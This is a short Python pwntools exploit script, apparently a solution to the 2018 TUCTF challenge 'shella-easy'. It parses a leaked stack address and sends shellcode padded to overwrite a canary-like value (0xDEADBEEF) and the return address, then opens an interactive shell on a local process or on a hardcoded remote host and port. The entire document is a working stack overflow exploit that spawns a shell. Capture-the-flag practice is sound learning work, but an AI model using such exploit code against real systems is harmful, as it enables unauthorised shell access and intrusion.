#!/usr/bin/env python
from pwn import *
import sys

HOST = '52.15.182.55'
PORT = 12345

def info(s):
	log.info(s)

def exploit(p):
	p.recvuntil("have a ")
	context.clear(arch='i386')
	s=int(p.recvuntil(' ')[:-1],16)
	info("s at 0x%x"%s)
	payload=asm(shellcraft.sh()).ljust(0x40,'\x90')+p32(0xDEADBEEF)+'\x90'*8+p32(s)
	p.sendline(payload)
	p.interactive()
	return

if __name__=="__main__":

	if len(sys.argv)<2:
		p=process('/home/khongtrang/share/2018/tuctf/shella-easy')
		print util.proc.pidof(p)
		pause()
		exploit(p)

	else:
		p=remote(HOST,PORT)
		exploit(p)
